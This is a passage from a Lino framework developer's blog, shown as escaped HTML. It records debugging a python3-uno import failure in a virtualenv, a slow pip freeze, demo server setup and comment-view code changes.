Not uninstalling asn1crypto at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;asn1crypto&amp;#39;. No files were found to uninstall.
Uninstalling atelier-1.1.15:
  Successfully uninstalled atelier-1.1.15
Uninstalling atomicwrites-1.3.0:
  Successfully uninstalled atomicwrites-1.3.0
Uninstalling attrs-19.1.0:
  Successfully uninstalled attrs-19.1.0
Uninstalling Babel-2.7.0:
  Successfully uninstalled Babel-2.7.0
Uninstalling binaryornot-0.4.4:
  Successfully uninstalled binaryornot-0.4.4
Not uninstalling certifi at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;certifi&amp;#39;. No files were found to uninstall.
Not uninstalling cffi at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;cffi&amp;#39;. No files were found to uninstall.
Not uninstalling chardet at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;chardet&amp;#39;. No files were found to uninstall.
Uninstalling Click-7.0:
  Successfully uninstalled Click-7.0
Uninstalling cookiecutter-1.6.0:
  Successfully uninstalled cookiecutter-1.6.0
Uninstalling coverage-4.5.4:
  Successfully uninstalled coverage-4.5.4
Not uninstalling cryptography at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;cryptography&amp;#39;. No files were found to uninstall.
Uninstalling docutils-0.15.2:
  Successfully uninstalled docutils-0.15.2
Not uninstalling entrypoints at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;entrypoints&amp;#39;. No files were found to uninstall.
Uninstalling future-0.17.1:
  Successfully uninstalled future-0.17.1
Uninstalling getlino-19.9.0:
  Successfully uninstalled getlino-19.9.0
Uninstalling gitdb2-2.0.5:
  Successfully uninstalled gitdb2-2.0.5
Uninstalling GitPython-3.0.2:
  Successfully uninstalled GitPython-3.0.2
Not uninstalling httplib2 at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;httplib2&amp;#39;. No files were found to uninstall.
Not uninstalling idna at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;idna&amp;#39;. No files were found to uninstall.
Uninstalling imagesize-1.1.0:
  Successfully uninstalled imagesize-1.1.0
Uninstalling importlib-metadata-0.19:
  Successfully uninstalled importlib-metadata-0.19
Uninstalling invoke-1.3.0:
  Successfully uninstalled invoke-1.3.0
Uninstalling Jinja2-2.10.1:
  Successfully uninstalled Jinja2-2.10.1
Uninstalling jinja2-time-0.2.0:
  Successfully uninstalled jinja2-time-0.2.0
Not uninstalling keyring at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;keyring&amp;#39;. No files were found to uninstall.
Not uninstalling keyrings.alt at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;keyrings.alt&amp;#39;. No files were found to uninstall.
Uninstalling MarkupSafe-1.1.1:
  Successfully uninstalled MarkupSafe-1.1.1
Uninstalling more-itertools-7.2.0:
  Successfully uninstalled more-itertools-7.2.0
Uninstalling packaging-19.1:
  Successfully uninstalled packaging-19.1
Uninstalling pluggy-0.12.0:
  Successfully uninstalled pluggy-0.12.0
Not uninstalling ply at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;ply&amp;#39;. No files were found to uninstall.
Uninstalling poyo-0.5.0:
  Successfully uninstalled poyo-0.5.0
Uninstalling py-1.8.0:
  Successfully uninstalled py-1.8.0
Not uninstalling pycparser at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;pycparser&amp;#39;. No files were found to uninstall.
Not uninstalling pycrypto at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;pycrypto&amp;#39;. No files were found to uninstall.
Not uninstalling pycurl at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;pycurl&amp;#39;. No files were found to uninstall.
Uninstalling Pygments-2.4.2:
  Successfully uninstalled Pygments-2.4.2
Not uninstalling pygobject at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;PyGObject&amp;#39;. No files were found to uninstall.
Uninstalling pyparsing-2.4.2:
  Successfully uninstalled pyparsing-2.4.2
Not uninstalling pysimplesoap at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;PySimpleSOAP&amp;#39;. No files were found to uninstall.
Uninstalling pytest-5.1.1:
  Successfully uninstalled pytest-5.1.1
Uninstalling pytest-cov-2.7.1:
  Successfully uninstalled pytest-cov-2.7.1
Not uninstalling python-apt at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;python-apt&amp;#39;. No files were found to uninstall.
Uninstalling python-dateutil-2.8.0:
  Successfully uninstalled python-dateutil-2.8.0
Not uninstalling python-debian at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;python-debian&amp;#39;. No files were found to uninstall.
Not uninstalling python-debianbts at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;python-debianbts&amp;#39;. No files were found to uninstall.
Uninstalling pytz-2019.2:
  Successfully uninstalled pytz-2019.2
Not uninstalling pyxdg at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;pyxdg&amp;#39;. No files were found to uninstall.
Not uninstalling reportbug at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;reportbug&amp;#39;. No files were found to uninstall.
Not uninstalling requests at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;requests&amp;#39;. No files were found to uninstall.
Not uninstalling secretstorage at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;SecretStorage&amp;#39;. No files were found to uninstall.
Not uninstalling six at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;six&amp;#39;. No files were found to uninstall.
Uninstalling smmap2-2.0.5:
  Successfully uninstalled smmap2-2.0.5
Uninstalling snowballstemmer-1.9.0:
  Successfully uninstalled snowballstemmer-1.9.0
Uninstalling Sphinx-2.2.0:
  Successfully uninstalled Sphinx-2.2.0
Uninstalling sphinxcontrib-applehelp-1.0.1:
  Successfully uninstalled sphinxcontrib-applehelp-1.0.1
Uninstalling sphinxcontrib-devhelp-1.0.1:
  Successfully uninstalled sphinxcontrib-devhelp-1.0.1
Uninstalling sphinxcontrib-htmlhelp-1.0.2:
  Successfully uninstalled sphinxcontrib-htmlhelp-1.0.2
Uninstalling sphinxcontrib-jsmath-1.0.1:
  Successfully uninstalled sphinxcontrib-jsmath-1.0.1
Uninstalling sphinxcontrib-qthelp-1.0.2:
  Successfully uninstalled sphinxcontrib-qthelp-1.0.2
Uninstalling sphinxcontrib-serializinghtml-1.1.3:
  Successfully uninstalled sphinxcontrib-serializinghtml-1.1.3
Uninstalling Unipath-1.1:
  Successfully uninstalled Unipath-1.1
Not uninstalling urllib3 at /usr/lib/python3/dist-packages, outside environment /usr
Can&amp;#39;t uninstall &amp;#39;urllib3&amp;#39;. No files were found to uninstall.
Uninstalling virtualenv-16.7.4:
  Successfully uninstalled virtualenv-16.7.4
Uninstalling wcwidth-0.1.7:
  Successfully uninstalled wcwidth-0.1.7
Uninstalling whichcraft-0.6.0:
  Successfully uninstalled whichcraft-0.6.0
Uninstalling zipp-0.6.0:
  Successfully uninstalled zipp-0.6.0
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It seems that I was lucky because pip refused to uninstall packages that  are
“outside environment /usr”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# pip3 freeze&lt;/span&gt;
&lt;span class="n"&gt;asn1crypto&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.24.0&lt;/span&gt;
&lt;span class="n"&gt;certifi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2018.8.24&lt;/span&gt;
&lt;span class="n"&gt;cffi&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.12.2&lt;/span&gt;
&lt;span class="n"&gt;chardet&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.0.4&lt;/span&gt;
&lt;span class="n"&gt;cryptography&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.6.1&lt;/span&gt;
&lt;span class="n"&gt;entrypoints&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;
&lt;span class="n"&gt;httplib2&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.11.3&lt;/span&gt;
&lt;span class="n"&gt;idna&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.6&lt;/span&gt;
&lt;span class="n"&gt;keyring&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;17.1.1&lt;/span&gt;
&lt;span class="n"&gt;keyrings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;alt&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.1.1&lt;/span&gt;
&lt;span class="n"&gt;ply&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.11&lt;/span&gt;
&lt;span class="n"&gt;pycparser&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.19&lt;/span&gt;
&lt;span class="n"&gt;pycrypto&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.6.1&lt;/span&gt;
&lt;span class="n"&gt;pycurl&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;7.43.0.2&lt;/span&gt;
&lt;span class="n"&gt;PyGObject&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;3.30.4&lt;/span&gt;
&lt;span class="n"&gt;PySimpleSOAP&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.16.2&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.8.4&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;debian&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.1.35&lt;/span&gt;
&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;debianbts&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.8.2&lt;/span&gt;
&lt;span class="n"&gt;pyxdg&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt;
&lt;span class="n"&gt;reportbug&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;7.5.2&lt;/span&gt;
&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.21.0&lt;/span&gt;
&lt;span class="n"&gt;SecretStorage&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;2.3.1&lt;/span&gt;
&lt;span class="n"&gt;six&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.12.0&lt;/span&gt;
&lt;span class="n"&gt;urllib3&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mf"&gt;1.24.1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I did:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go prod
$ sudo apt install virtualenv
$ mv env env.old
$ virtualenv -p python3 env
$ a
$ pip install lino-weleup mysqlclient
$ python manage.py install
$ python manage.py collectstatic
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This will install some more packages:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;upgrade&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;trusted&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;svn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;forge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pallavi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="n"&gt;svn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;svn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;forge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pallavi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;appy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev1&lt;/span&gt;&lt;span class="c1"&gt;#egg=appy bleach odfpy schedule suds-py3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But still no change.&lt;/p&gt;
&lt;p&gt;I tried this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo aptitude reinstall libreoffice libreoffice-script-provider-python uno-libs3 python3-uno python3
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Still no change.&lt;/p&gt;
&lt;p&gt;Indeed I have no uno installed in that virtualenv (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;python&lt;/span&gt; &lt;span class="pre"&gt;-c&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;import&lt;/span&gt; &lt;span class="pre"&gt;uno&amp;quot;&lt;/span&gt;&lt;/code&gt;
fails).  The uno package is available only in the system wide python3. So let’s
try again with virtualenv’s &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--system-site-packages&lt;/span&gt;&lt;/code&gt; option:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ rm -rf env
$ virtualenv -p python3 --system-site-packages env
$ a
$ pip install lino-weleup mysqlclient
$ python manage.py install
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;python&lt;/span&gt; &lt;span class="pre"&gt;-c&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;import&lt;/span&gt; &lt;span class="pre"&gt;uno&amp;quot;&lt;/span&gt;&lt;/code&gt; works in the env, but otherwise still no change.&lt;/p&gt;
&lt;p&gt;I tried to reinstall the system-wide python:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt --reinstall install python3 python3-uno
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Still no change.&lt;/p&gt;
&lt;p&gt;BTW we don’t need Apache to get the error. We can simply say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py shell
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Hamza had the idea to try this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove python3-uno
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Interesting! When python3-uno is not installed, the error disappears and the
site is visible. But when we try to print something using the appypod method, we
get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;PodError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;An&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="n"&gt;occurred&lt;/span&gt; &lt;span class="n"&gt;during&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;conversion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
 &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;845&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ConverterScript&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
 &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;833&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;runoptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pageStart&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;268&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;docUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;docPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getFilePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;docPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/src/appy/appy/pod/converter.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;361&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;getFilePath&lt;/span&gt;
  &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;unohelper&lt;/span&gt;
  &lt;span class="ne"&gt;ModuleNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;unohelper&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Summary so far: something seems broken which causes python3-uno to not work
correctly when installed.  I tried to reinstall everything I can think of
(copied from getlino configure).  No change.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="when-pip-is-unbelievably-slow"&gt;
&lt;h2&gt;When pip is unbelievably slow&lt;a class="headerlink" href="#when-pip-is-unbelievably-slow" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Today I had a situation on our new demo server that pip was unbelievably slow.
A pip freeze was running endlessly until I hit the Ctrl-C key:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip freeze
^C^C^CERROR: Operation cancelled by user
^C^C^CException ignored in: &amp;lt;module &amp;#39;threading&amp;#39; from &amp;#39;/usr/lib/python3.7/threading.py&amp;#39;&amp;gt;
Traceback (most recent call last):
  File &amp;quot;/usr/lib/python3.7/threading.py&amp;quot;, line 1263, in _shutdown
    def _shutdown():
KeyboardInterrupt
^C^CError in atexit._run_exitfuncs:
Traceback (most recent call last):
  File &amp;quot;/usr/lib/python3.7/logging/__init__.py&amp;quot;, line 2047, in shutdown
^C^C^C^C^C
^C
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File &amp;quot;/usr/lib/python3.7/logging/__init__.py&amp;quot;, line 2047, in shutdown
^C^CKeyboardInterrupt
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I don’t know why this was, but it disappeared after a reboot.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="updating-the-demo-server"&gt;
&lt;h2&gt;Updating the demo server&lt;a class="headerlink" href="#updating-the-demo-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/aliases.html#command-go" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;go&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; alias to the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/bash.bashrc&lt;/span&gt;&lt;/code&gt; file.  So you can now
say “go cosi3” or “go team”.&lt;/p&gt;
&lt;p&gt;I now activate the master env in my &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.bash_aliases&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sharedenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I wrote a custom &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script in the bin directory of the master
environment.&lt;/p&gt;
&lt;p&gt;I saw with my own eyes the situation where the “Your browser is using a previous
version of the site, press OK to reload the site” doesn’t go away by itself
(after clicking OK).  Maybe an issue with caching, caused e.g. by nginx
configuration.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary-view-for-recentcomments"&gt;
&lt;h2&gt;Summary view for RecentComments&lt;a class="headerlink" href="#summary-view-for-recentcomments" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oops, &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3212"&gt;#3212&lt;/a&gt; (Summary view for RecentComments) wasn’t a quick win. It
caused a series of changes and optimizations:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.RecentComments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.RecentComments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now has a summary view that looks
much better in the dashboard.  And it no longer stops displaying comments
modified in the future. This is useful when you modify a comment in a demo
database.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.Previewable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Previewable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which caused it to not
use the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.default_ui" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_ui&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; when
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Plugin.front_end&lt;/span&gt;&lt;/code&gt; is &lt;cite&gt;None&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When a &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;BaseRequest&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is spawned from a
parent, it now inherits the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;request&lt;/span&gt;&lt;/code&gt; attribute (i.e. the incoming Django
HTTP request that caused the action request). This is needed so that
subrequests can decide whether to generate links using “javascript:” or not.
When displaying links in a comment on the exts dashboard, we prefer them to
remain under the same url.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; generates a series
of lorem ipsum comments.  But until now they all had the real timestamp when the
